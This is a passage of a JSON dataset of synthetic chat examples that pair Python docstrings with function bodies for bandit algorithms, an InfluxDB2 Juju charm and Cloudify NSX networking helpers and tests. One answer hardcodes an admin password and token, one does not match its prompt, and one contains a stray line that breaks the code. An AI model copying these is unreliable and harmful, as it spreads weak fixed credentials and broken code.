"conversation_id": 364, "message_id": 1 }, { "role": "assistant", "content": "def output_df(self):\n df = super().output_df()\n df[\"epsilon\"] = self.epsilon\n return df", "conversation_id": 364, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 365, "message_id": 0 }, { "role": "user", "content": "Reinitialize bandit attributes for a new run.", "conversation_id": 365, "message_id": 1 }, { "role": "assistant", "content": "def initialization(self, testbed):\n testbed.reset_ev()\n self.n = 1\n self.Q = deepcopy(self.Q_init)\n self.Na = {a: 1e-100 for a in self.Na}", "conversation_id": 365, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 366, "message_id": 0 }, { "role": "user", "content": "Reshape action_values numpy array and output as pandas dataframe\nAdd c coefficient used for UCL.", "conversation_id": 366, "message_id": 1 }, { "role": "assistant", "content": "def output_df(self):\n df = super().output_df()\n df[\"c\"] = self.c\n return df", "conversation_id": 366, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 367, "message_id": 0 }, { "role": "user", "content": "Reinitialize bandit attributes for a new run.", "conversation_id": 367, "message_id": 1 }, { "role": "assistant", "content": "def initialization(self, testbed):\n testbed.reset_ev()\n self.n = 1\n self.H = deepcopy(self.Q_init)\n self.Q = deepcopy(self.Q_init)\n self.Na = {a: 0 for a in self.Q}", "conversation_id": 367, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 368, "message_id": 0 }, { "role": "user", "content": "Reshape action_values numpy array and output as pandas dataframe\nAdd learning rate.", "conversation_id": 368, "message_id": 1 }, { "role": "assistant", "content": "def output_df(self):\n df = super().output_df()\n df[\"lr\"] = self.lr\n return df", "conversation_id": 368, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 369, "message_id": 0 }, { "role": "user", "content": "Average all dataframe columns across runs.", "conversation_id": 369, "message_id": 1 }, { "role": "assistant", "content": "def average_runs(df, group=[]):\n return df.groupby([\"step\"] + group).mean().reset_index()", "conversation_id": 369, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 370, "message_id": 0 }, { "role": "user", "content": "Write scalars to local using aim\nReturn\nValue of last step.", "conversation_id": 370, "message_id": 1 }, { "role": "assistant", "content": "def write_scalars(df, session, column: str, tag: str, hp: dict):\n df = average_runs(df)\n df.apply(\n lambda x: session.track(\n x[column],\n epoch=int(x.step),\n name=tag,\n ),\n axis=1,\n )\n return df[column].iloc[-1]", "conversation_id": 370, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 371, "message_id": 0 }, { "role": "user", "content": "Provide an estimate of the testbed values across all arms\nn (int): Number of iterations to execute in testbed.", "conversation_id": 371, "message_id": 1 }, { "role": "assistant", "content": "def estimate_distribution(self, n=1000) -> pd.DataFrame:\n self.p_drift = 0.0\n R = pd.DataFrame(columns=[\"reward\", \"action\", \"strategy\"])\n for a in self.expected_values:\n Ra = pd.DataFrame(self.action_value(a, shape=(n, 1)), columns=[\"reward\"])\n Ra[\"action\"] = a\n Ra[\"strategy\"] = \"uniform\"\n R = pd.concat([R, Ra])\n if self.initial_ev != self.expected_values:\n self.expected_values = deepcopy(self.initial_ev)\n for a in self.initial_ev:\n Ra = pd.DataFrame(self.action_value(a, shape=(n, 1)), columns=[\"reward\"])\n Ra[\"action\"] = a\n Ra[\"strategy\"] = \"uniform\"\n R = pd.concat([R, Ra])\n return R", "conversation_id": 371, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 372, "message_id": 0 }, { "role": "user", "content": "Return true best action that should have been taken based on EV state.", "conversation_id": 372, "message_id": 1 }, { "role": "assistant", "content": "def best_action(self):\n A_best = list(self.expected_values.keys())[\n np.argmax([ev[\"mean\"] for ev in self.expected_values.values()])\n ]\n return A_best", "conversation_id": 372, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 373, "message_id": 0 }, { "role": "user", "content": "Handle the pebble_ready event for the influxdb2 container..", "conversation_id": 373, "message_id": 1 }, { "role": "assistant", "content": "def _on_config_changed(self, event: HookEvent) -> None:\n container = self.unit.get_container(WORKLOAD_CONTAINER)\n try:\n plan = container.get_plan().to_dict()\n except (APIError, ConnectionError) as error:\n logger.debug(f\"The Pebble API is not ready yet. Error message: {error}\")\n event.defer()\n return\n logger.debug(f\"[*] container plan => {plan}\")\n pebble_config = Layer(raw=self._influxdb2_layer())\n if plan.get(\"services\", {}) == pebble_config.to_dict()[\"services\"]:\n logger.debug(\"Pebble plan has already been loaded. No need to update the config.\")\n return\n try:\n container.add_layer(\"influxdb2\", pebble_config, combine=True)\n except (APIError, ConnectionError) as error:\n logger.debug(f\"The Pebble API is not ready yet. Error message: {error}\")\n event.defer()\n return\n if self._is_running(container, WORKLOAD_CONTAINER): \n container.stop(WORKLOAD_CONTAINER)\n container.start(WORKLOAD_CONTAINER)\n self.unit.status = ActiveStatus(\"Pod is ready\")", "conversation_id": 373, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 374, "message_id": 0 }, { "role": "user", "content": "Provide Grafana with data source information..", "conversation_id": 374, "message_id": 1 }, { "role": "assistant", "content": "def _on_grafana_source_relation_changed(self, event: RelationEvent) -> None:\n if not self.model.unit.is_leader():\n return\n relation_data = {\n \"private-address\": subprocess.check_output([\"unit-get\", \"private-address\"])\n .decode()\n .strip(),\n \"port\": \"8086\",\n \"source-type\": \"influxdb\",\n }\n event.relation.data[self.unit].update(relation_data)", "conversation_id": 374, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 375, "message_id": 0 }, { "role": "user", "content": "Returns initial Pebble configuration layer for Influxdb2..", "conversation_id": 375, "message_id": 1 }, { "role": "assistant", "content": "def _influxdb2_layer(self) -> dict:\n return {\n \"summary\": \"influxdb2 layer\",\n \"description\": \"pebble config layer for influxdb2\",\n \"services\": {\n \"influxdb2\": {\n \"override\": \"replace\",\n \"summary\": \"influxdb2 service\",\n \"command\": \"/entrypoint.sh influxd\",\n \"startup\": \"enabled\",\n \"environment\": {\n \"DOCKER_INFLUXDB_INIT_MODE\": \"setup\",\n \"DOCKER_INFLUXDB_INIT_USERNAME\": \"admin\",\n \"DOCKER_INFLUXDB_INIT_PASSWORD\": \"thisisatest123\",\n \"DOCKER_INFLUXDB_INIT_ORG\": \"influxdata\",\n \"DOCKER_INFLUXDB_INIT_BUCKET\": \"default\",\n \"DOCKER_INFLUXDB_INIT_RETENTION\": \"0s\",\n \"DOCKER_INFLUXDB_INIT_ADMIN_TOKEN\": \"asdfasdfasdf\",\n \"INFLUXD_BOLT_PATH\": \"/var/lib/influxdbv2/influxd.bolt\",\n \"INFLUXD_ENGINE_PATH\": \"/var/lib/influxdbv2\",\n \"INFLUXD_HTTP_BIND_ADDRESS\": \":8086\",\n },\n }\n },\n }", "conversation_id": 375, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 376, "message_id": 0 }, { "role": "user", "content": "Helper method to determine if a given service is running in a given container.", "conversation_id": 376, "message_id": 1 }, { "role": "assistant", "content": "def _is_running(self, container: Container, service: str) -> bool:\n try:\n svc = container.get_service(service)\n return svc.current == ServiceStatus.ACTIVE\n except ModelError:\n return False", "conversation_id": 376, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 377, "message_id": 0 }, { "role": "user", "content": "Delete firewall rule, as resource_id used response\nfrom add_firewall_rule.", "conversation_id": 377, "message_id": 1 }, { "role": "assistant", "content": "def delete_firewall_rule(client_session, resource_id):\n try:\n esg_id, rule_id = resource_id.split(\"|\")\n except Exception as ex:\n raise cfy_exc.NonRecoverableError(\n 'Unexpected error retrieving resource ID: %s' % str(ex)\n )\n result = client_session.delete(\n 'firewallRule', uri_parameters={\n 'edgeId': esg_id, 'ruleId': rule_id\n })\n common.check_raw_result(result)", "conversation_id": 377, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 378, "message_id": 0 }, { "role": "user", "content": "common function with any call from clint_session.", "conversation_id": 378, "message_id": 1 }, { "role": "assistant", "content": "def _common_uninstall_external_and_unintialized(\n self, resource_id, func_call, func_kwargs, additional_params=None\n ):\n kwargs = self._kwargs_regen(func_kwargs)\n self.fake_ctx.instance.runtime_properties['resource_id'] = None\n if additional_params:\n for i in additional_params:\n self.fake_ctx.instance.runtime_properties[i] = i\n func_call(**kwargs)\n self.assertEqual(self.fake_ctx.instance.runtime_properties, {})\n kwargs = self._kwargs_regen(func_kwargs)\n self.fake_ctx.instance.runtime_properties['resource_id'] = resource_id\n self.fake_ctx.node.properties['use_external_resource'] = True\n if additional_params:\n for i in additional_params:\n self.fake_ctx.instance.runtime_properties[i] = i\n func_call(**kwargs)\n self.assertEqual(self.fake_ctx.instance.runtime_properties, {})\n if resource_id.find('|') >= 0:\n new_resource_id = resource_id + \"|_\"\n fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(\n new_resource_id, func_kwargs\n )\n with mock.patch(\n 'cloudify_nsx.library.nsx_common.NsxClient',\n fake_client\n ):\n with self.assertRaises(cfy_exc.NonRecoverableError) as error:\n func_call(**kwargs)\n self.assertTrue(str(error.exception).find(\n 'Unexpected error retrieving resource ID'\n ) == 0)\n fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(\n resource_id, func_kwargs\n )\n if additional_params:\n for i in additional_params:\n self.fake_ctx.instance.runtime_properties[i] = i\n with mock.patch(\n 'cloudify_nsx.library.nsx_common.NsxClient',\n fake_client\n ):\n with self.assertRaises(cfy_exc.NonRecoverableError):\n func_call(**kwargs)\n fake_client.assert_called_with(\n 'raml', 'host', 'username', 'password'\n )\n runtime = self.fake_ctx.instance.runtime_properties\n self.assertEqual(runtime['resource_id'], resource_id)\n self.assertEqual(\n runtime['nsx_auth'], {\n 'username': 'username',\n 'password': 'password',\n 'host': 'host',\n 'raml': 'raml'\n }\n )\n if additional_params:\n for i in additional_params:\n self.assertEqual(runtime.get(i), i)", "conversation_id": 378, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 379, "message_id": 0 }, { "role": "user", "content": "check that we have RecoverableError with empty properties.", "conversation_id": 379, "message_id": 1 }, { "role": "assistant", "content": "def _common_run_relationship(self, func):\n fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(\n None, {}, False\n )\n with mock.patch(\n 'cloudify_nsx.library.nsx_common.NsxClient',\n fake_client\n ):\n with self.assertRaises(cfy_exc.NonRecoverableError):\n func(**kwargs)", "conversation_id": 379, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 380, "message_id": 0 }, { "role": "user", "content": "Check skip install logic if we have use_existing and don't have\nadditional checks inside.", "conversation_id": 380, "message_id": 1 }, { "role": "assistant", "content": "def _common_use_existing_without_run(self, resource_id, func_call,\n func_kwargs):\n kwargs = self._kwargs_regen(func_kwargs)\n kwargs['use_external_resource'] = True\n kwargs['resource_id'] = resource_id\n func_call(**kwargs)\n self.assertTrue(\n self.fake_ctx.instance.runtime_properties['use_external_resource']\n )", "conversation_id": 380, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 381, "message_id": 0 }, { "role": "user", "content": "Check skip install logic if we have resource_id\nor have issues with session.", "conversation_id": 381, "message_id": 1 }, { "role": "assistant", "content": "def _common_install(self, resource_id, func_call, func_kwargs,\n relationships=None):\n kwargs = self._kwargs_regen(func_kwargs)\n self.fake_ctx.instance.runtime_properties['resource_id'] = resource_id\n if relationships:\n self.fake_ctx.instance.relationships = relationships\n func_call(**kwargs)\n fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(\n None, func_kwargs\n )\n with mock.patch(\n 'cloudify_nsx.library.nsx_common.NsxClient',\n fake_client\n ):\n if relationships:\n self.fake_ctx.instance.relationships = relationships\n with self.assertRaises(cfy_exc.NonRecoverableError):\n func_call(**kwargs)\n fake_client.assert_called_with(\n 'raml', 'host', 'username', 'password'\n )\n runtime = self.fake_ctx.instance.runtime_properties\n self.assertFalse('resource_id' in runtime)\n self.assertEqual(\n runtime['nsx_auth'], {\n 'username': 'username',\n 'password': 'password',\n 'host': 'host',\n 'raml': 'raml'\n }\n )", "conversation_id": 381, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 382, "message_id": 0 }, { "role": "user", "content": "check install logic that read/extract current state and than send\nupdate request.", "conversation_id": 382, "message_id": 1 }, { "role": "assistant", "content": "def _common_install_extract_or_read_and_update(\n self, resource_id, func_call, func_kwargs,\n extract_args=None, extract_kwargs=None, extract_response=None,\n read_args=None, read_kwargs=None, read_response=None,\n create_args=None, create_kwargs=None, create_response=None,\n update_args=None, update_kwargs=None, update_response=None,\n relationships=None\n ):\n self._common_install(resource_id, func_call, func_kwargs,\n relationships=relationships)\n fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(\n None, func_kwargs\n )\n with mock.patch(\n 'cloudify_nsx.library.nsx_common.NsxClient',\n fake_client\n ):\n self._update_fake_cs_result(\n fake_cs_result,\n extract_response=extract_response,\n read_response=read_response,\n create_response=create_response,\n update_response=update_response\n )\n if relationships:\n self.fake_ctx.instance.relationships = relationships\n func_call(**kwargs)\n self._check_fake_cs_result(\n fake_cs_result,\n extract_response=extract_response,\n extract_args=extract_args, extract_kwargs=extract_kwargs,\n read_response=read_response,\n read_args=read_args, read_kwargs=read_kwargs,\n create_response=create_response,\n create_args=create_args, create_kwargs=create_kwargs,\n update_response=update_response,\n update_args=update_args, update_kwargs=update_kwargs\n )\n runtime = self.fake_ctx.instance.runtime_properties\n self.assertEqual(\n runtime['resource_id'],\n resource_id\n )", "conversation_id": 382, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 383, "message_id": 0 }, { "role": "user", "content": "check install logic run create only.", "conversation_id": 383, "message_id": 1 }, { "role": "assistant", "content": "def _common_install_create(\n self, resource_id, func_call, func_kwargs,\n create_args, create_kwargs, create_response\n ):\n self._common_install(resource_id, func_call, func_kwargs)\n fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(\n None, func_kwargs\n )\n with mock.patch(\n 'cloudify_nsx.library.nsx_common.NsxClient',\n fake_client\n ):\n self._update_fake_cs_result(\n fake_cs_result,\n create_response=create_response\n )\n func_call(**kwargs)\n self._check_fake_cs_result(\n fake_cs_result,\n create_response=create_response,\n create_args=create_args, create_kwargs=create_kwargs\n )\n runtime = self.fake_ctx.instance.runtime_properties\n self.assertEqual(\n runtime['resource_id'],\n resource_id\n )", "conversation_id": 383, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 384, "message_id": 0 }, { "role": "user", "content": "check install logic that check 'existing' by read\nand than run create.", "conversation_id": 384, "message_id": 1 }, { "role": "assistant", "content": "def _common_install_read_and_create(\n self, resource_id, func_call, func_kwargs, read_args, read_kwargs,\n read_response, create_args, create_kwargs, create_response,\n recheck_runtime=None\n ):\n self._common_install(resource_id, func_call, func_kwargs)\n if read_response:\n fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(\n None, func_kwargs\n )\n self.fake_ctx.node.properties['use_external_resource'] = True\n with mock.patch(\n 'cloudify_nsx.library.nsx_common.NsxClient',\n fake_client\n ):\n self._update_fake_cs_result(\n fake_cs_result,\n read_response=read_response\n )\n func_call(**kwargs)\n self._check_fake_cs_result(\n fake_cs_result,\n read_response=read_response,\n read_args=read_args, read_kwargs=read_kwargs,\n )\n runtime = self.fake_ctx.instance.runtime_properties\n self.assertEqual(\n runtime['resource_id'], resource_id\n )\n if recheck_runtime:\n for field in recheck_runtime:\n self.assertEqual(\n runtime[field],\n recheck_runtime[field]\n )\n , but empty response\n fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(\n None, func_kwargs\n )\n self.fake_ctx.node.properties['use_external_resource'] = True\n with mock.patch(\n 'cloudify_nsx.library.nsx_common.NsxClient',\n fake_client\n ):\n self._update_fake_cs_result(\n fake_cs_result,\n read_response=SUCCESS_RESPONSE\n )\n with self.assertRaises(cfy_exc.NonRecoverableError):\n func_call(**kwargs)\n self._check_fake_cs_result(\n fake_cs_result,\n read_response=read_response,\n read_args=read_args, read_kwargs=read_kwargs,\n )\n self.assertFalse(\n 'resource_id' in self.fake_ctx.instance.runtime_properties\n )\n fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(\n None, func_kwargs\n )\n with mock.patch(\n 'cloudify_nsx.library.nsx_common.NsxClient',\n fake_client\n ):\n self._update_fake_cs_result(\n fake_cs_result,\n read_response=read_response\n )\n with self.assertRaises(cfy_exc.NonRecoverableError):\n func_call(**kwargs)\n self._check_fake_cs_result(\n fake_cs_result,\n read_response=read_response,\n read_args=read_args, read_kwargs=read_kwargs,\n )\n self.assertFalse(\n 'resource_id' in self.fake_ctx.instance.runtime_properties\n )\n fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(\n None, func_kwargs\n )\n with mock.patch(\n 'cloudify_nsx.library.nsx_common.NsxClient',\n fake_client\n ):\n self._update_fake_cs_result(\n fake_cs_result,\n read_response=SUCCESS_RESPONSE,\n create_response=create_response\n )\n func_call(**kwargs)\n self._check_fake_cs_result(\n fake_cs_result,\n read_response=read_response,\n read_args=read_args, read_kwargs=read_kwargs,\n create_response=create_response,\n create_args=create_args, create_kwargs=create_kwargs\n )\n runtime = self.fake_ctx.instance.runtime_properties\n self.assertEqual(\n runtime['resource_id'],\n resource_id\n )", "conversation_id": 384, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 385, "message_id": 0 }, { "role": "user", "content": "for functions when we only run delete directly.", "conversation_id": 385, "message_id": 1 }, { "role": "assistant", "content": "def _common_uninstall_delete(\n self, resource_id, func_call, func_kwargs, delete_args, delete_kwargs,\n additional_params=None, read_args=None, read_kwargs=None,\n read_response=None\n ):\n self._common_uninstall_external_and_unintialized(\n resource_id, func_call, func_kwargs,\n additional_params=additional_params\n )\n fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(\n resource_id, func_kwargs\n )\n with mock.patch(\n 'cloudify_nsx.library.nsx_common.NsxClient',\n fake_client\n ):\n self._update_fake_cs_result(\n fake_cs_result,\n read_response=read_response,\n delete_response=SUCCESS_RESPONSE\n )\n func_call(**kwargs)\n self._check_fake_cs_result(\n fake_cs_result,\n read_response=read_response,\n read_args=read_args, read_kwargs=read_kwargs,\n delete_response=SUCCESS_RESPONSE,\n delete_args=delete_args, delete_kwargs=delete_kwargs\n )\n self.assertEqual(self.fake_ctx.instance.runtime_properties, {})", "conversation_id": 385, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 386, "message_id": 0 }, { "role": "user", "content": "delete when read/update enought.", "conversation_id": 386, "message_id": 1 }, { "role": "assistant", "content": "def _common_uninstall_read_update(\n self, resource_id, func_call, func_kwargs, read_args, read_kwargs,\n read_response, update_args, update_kwargs, additional_params=None\n ):\n self._common_uninstall_external_and_unintialized(\n resource_id, func_call, func_kwargs,\n additional_params=additional_params\n )\n fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(\n resource_id, func_kwargs\n )\n with mock.patch(\n 'cloudify_nsx.library.nsx_common.NsxClient',\n fake_client\n ):\n self._update_fake_cs_result(\n fake_cs_result,\n read_response=read_response,\n update_response=SUCCESS_RESPONSE\n )\n func_call(**kwargs)\n self._check_fake_cs_result(\n fake_cs_result,\n read_response=read_response,\n read_args=read_args, read_kwargs=read_kwargs,\n update_response=SUCCESS_RESPONSE,\n update_args=update_args, update_kwargs=update_kwargs\n )\n self.assertEqual(self.fake_ctx.instance.runtime_properties, {})", "conversation_id": 386, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 387, "message_id": 0 }, { "role": "user", "content": "This function adds an interface gw to one dlr.", "conversation_id": 387, "message_id": 1 }, { "role": "assistant", "content": "def dlr_add_interface(client_session, dlr_id, interface_ls_id, interface_ip,\n interface_subnet, name=None, vnic=None):\n dlr_interface_dict = client_session.extract_resource_body_example(\n 'interfaces', 'create'\n )\n interface = dlr_interface_dict['interfaces']['interface']\n interface['addressGroups']['addressGroup']['primaryAddress'] = interface_ip\n interface['addressGroups']['addressGroup']['subnetMask'] = interface_subnet\n interface['isConnected'] = \"true\"\n interface['connectedToId'] = interface_ls_id\n interface['name'] = name\n interface['index'] = vnic\n result_raw = client_session.create(\n 'interfaces', uri_parameters={'edgeId': dlr_id},\n query_parameters_dict={'action': \"patch\"},\n request_body_dict=dlr_interface_dict\n )\n common.check_raw_result(result_raw)\n ifindex = result_raw['body']['interfaces']['interface']['index']\n resource_id = \"%s|%s\" % (ifindex, dlr_id)\n return ifindex, resource_id", "conversation_id": 387, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 388, "message_id": 0 }, { "role": "user", "content": "This function sets the default firewall rule to accept or deny.", "conversation_id": 388, "message_id": 1 }, { "role": "assistant", "content": "def esg_fw_default_set(client_session, esg_id, def_action,\n logging_enabled=None):\n if not logging_enabled:\n logging_enabled = 'false'\n def_policy_body = client_session.extract_resource_body_example(\n 'defaultFirewallPolicy', 'update'\n )\n firewall_default_policy = def_policy_body['firewallDefaultPolicy']\n firewall_default_policy['action'] = def_action\n firewall_default_policy['loggingEnabled'] = logging_enabled\n cfg_result = client_session.update('defaultFirewallPolicy',\n uri_parameters={'edgeId': esg_id},\n request_body_dict=def_policy_body)\n common.check_raw_result(cfg_result)", "conversation_id": 388, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 389, "message_id": 0 }, { "role": "user", "content": "This function deletes an interface gw to one dlr.", "conversation_id": 389, "message_id": 1 }, { "role": "assistant", "content": "def dlr_del_interface(client_session, resource_id):\n try:\n ifindex, dlr_id = resource_id.split(\"|\")\n except Exception as ex:\n raise cfy_exc.NonRecoverableError(\n 'Unexpected error retrieving resource ID: %s' % str(ex)\n )\n result_raw = client_session.delete(\n 'interfaces', uri_parameters={'edgeId': dlr_id},\n query_parameters_dict={\n 'index': ifindex\n })\n common.check_raw_result(result_raw)", "conversation_id": 389, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 390, "message_id": 0 }, { "role": "user", "content": "This function deletes a default gw to one dlr.", "conversation_id": 390, "message_id": 1 }, { "role": "assistant", "content": "def dlr_del_dgw(client_session, resource_id):\n result_raw = client_session.delete('routingConfig',\n uri_parameters={'edgeId': resource_id})\n common.check_raw_result(result_raw)", "conversation_id": 390, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 391, "message_id": 0 }, { "role": "user", "content": "This function enables/disables the DHCP server on an Edge Gateway\nand sets the logging status and Level.", "conversation_id": 391, "message_id": 1 }, { "role": "assistant", "content": "def dhcp_server(client_session, esg_id, enabled=None, syslog_enabled=None,\n syslog_level=None):\n change_needed = False\n raw_result = client_session.read(\n 'dhcp', uri_parameters={'edgeId': esg_id})\n common.check_raw_result(raw_result)\n current_dhcp_config = raw_result['body']\n new_dhcp_config = current_dhcp_config\n if enabled:\n if current_dhcp_config['dhcp']['enabled'] == 'false':\n new_dhcp_config['dhcp']['enabled'] = 'true'\n change_needed = True\n else:\n if current_dhcp_config['dhcp']['enabled'] == 'true':\n new_dhcp_config['dhcp']['enabled'] = 'false'\n change_needed = True\n if syslog_enabled == 'true':\n if current_dhcp_config['dhcp']['logging']['enable'] == 'false':\n new_dhcp_config['dhcp']['logging']['enable'] = 'true'\n change_needed = True\n elif syslog_enabled == 'false':\n if current_dhcp_config['dhcp']['logging']['enable'] == 'true':\n new_dhcp_config['dhcp']['logging']['enable'] = 'false'\n change_needed = True\n if syslog_level:\n if current_dhcp_config['dhcp']['logging']['logLevel'] != syslog_level:\n new_dhcp_config['dhcp']['logging']['logLevel'] = syslog_level\n change_needed = True\n if change_needed:\n result = client_session.update('dhcp',\n uri_parameters={'edgeId': esg_id},\n request_body_dict=new_dhcp_config)\n common.check_raw_result(result)", "conversation_id": 391, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 392, "message_id": 0 }, { "role": "user", "content": "This function configures vnic interfaces on ESGs.", "conversation_id": 392, "message_id": 1 }, { "role": "assistant", "content": "def esg_cfg_interface(client_session, esg_id, ifindex, ipaddr=None,\n netmask=None, prefixlen=None, name=None, mtu=None,\n is_connected=None, portgroup_id=None, vnic_type=None,\n enable_send_redirects=None, enable_proxy_arp=None,\n secondary_ips=None):\n vnic_config = client_session.read(\n 'vnic', uri_parameters={'index': ifindex, 'edgeId': esg_id}\n )['body']\n if not mtu:\n mtu = 1500\n if not vnic_type:\n vnic_type = 'internal'\n vnic_config['vnic']['mtu'] = mtu\n vnic_config['vnic']['type'] = vnic_type\n if name:\n vnic_config['vnic']['name'] = name\n if portgroup_id:\n vnic_config['vnic']['portgroupId'] = portgroup_id\n if enable_send_redirects:\n vnic_config['vnic']['enableSendRedirects'] = enable_send_redirects\n if enable_proxy_arp:\n vnic_config['vnic']['enableProxyArp'] = enable_proxy_arp\n if is_connected:\n vnic_config['vnic']['isConnected'] = is_connected\n if ipaddr and (netmask or prefixlen):\n address_group = {}\n sec_ips = []\n if netmask:\n address_group['subnetMask'] = netmask\n if prefixlen:\n address_group['subnetPrefixLength'] = str(prefixlen)\n if secondary_ips:\n sec_ips = secondary_ips\n address_group['primaryAddress'] = ipaddr\n address_group['secondaryAddresses'] = {'ipAddress': sec_ips}\n vnic_config['vnic']['addressGroups'] = {'addressGroup': address_group}\n cfg_result = client_session.update(\n 'vnic', uri_parameters={'index': ifindex, 'edgeId': esg_id},\n request_body_dict=vnic_config)\n common.check_raw_result(cfg_result)\n return ifindex, \"%s|%s\" % (ifindex, esg_id)", "conversation_id": 392, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 393, "message_id": 0 }, { "role": "user", "content": "This function resets the vnic configuration of an ESG to its default\nstate.", "conversation_id": 393, "message_id": 1 }, { "role": "assistant", "content": "def esg_clear_interface(client_session, resource_id):\n try:\n ifindex, esg_id = resource_id.split(\"|\")\n except Exception as ex:\n raise cfy_exc.NonRecoverableError(\n 'Unexpected error retrieving resource ID: %s' % str(ex)\n )\n vnic_config = client_session.read(\n 'vnic', uri_parameters={'index': ifindex, 'edgeId': esg_id}\n )['body']\n vnic_config['vnic']['mtu'] = '1500'\n vnic_config['vnic']['type'] = 'internal'\n vnic_config['vnic']['name'] = 'vnic{}'.format(ifindex)\n vnic_config['vnic']['addressGroups'] = None\n vnic_config['vnic']['portgroupId'] = None\n vnic_config['vnic']['portgroupName'] = None\n vnic_config['vnic']['enableProxyArp'] = 'false'\n vnic_config['vnic']['enableSendRedirects'] = 'false'\n vnic_config['vnic']['isConnected'] = 'false'\n cfg_result = client_session.update(\n 'vnic', uri_parameters={'index': ifindex, 'edgeId': esg_id},\n request_body_dict=vnic_config)\n common.check_raw_result(cfg_result)", "conversation_id": 393, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 394, "message_id": 0 }, { "role": "user", "content": "This function clears the default gateway config on an ESG.", "conversation_id": 394, "message_id": 1 }, { "role": "assistant", "content": "def esg_dgw_clear(client_session, resource_id):\n try:\n esg_id, _ = resource_id.split(\"|\")\n except Exception as ex:\n raise cfy_exc.NonRecoverableError(\n 'Unexpected error retrieving resource ID: %s' % str(ex)\n )\n rtg_cfg = client_session.read(\n 'routingConfigStatic', uri_parameters={'edgeId': esg_id}\n )['body']\n rtg_cfg['staticRouting']['defaultRoute'] = None\n cfg_result = client_session.update(\n 'routingConfigStatic', uri_parameters={'edgeId': esg_id},\n request_body_dict=rtg_cfg\n )\n common.check_raw_result(cfg_result)", "conversation_id": 394, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 395, "message_id": 0 }, { "role": "user", "content": "This function sets the default gateway on an ESG.", "conversation_id": 395, "message_id": 1 }, { "role": "assistant", "content": "def esg_dgw_set(client_session, esg_id, dgw_ip, vnic, mtu=None,\n admin_distance=None):\n if not mtu:\n mtu = '1500'\n if not admin_distance:\n admin_distance = '1'\n rtg_cfg = client_session.read(\n 'routingConfigStatic', uri_parameters={'edgeId': esg_id}\n )['body']\n rtg_cfg['staticRouting']['defaultRoute'] = {\n 'vnic': vnic, 'gatewayAddress': dgw_ip,\n 'adminDistance': admin_distance, 'mtu': mtu\n }\n cfg_result = client_session.update(\n 'routingConfigStatic', uri_parameters={'edgeId': esg_id},\n request_body_dict=rtg_cfg\n )\n common.check_raw_result(cfg_result)\n return \"%s|%s\" % (esg_id, 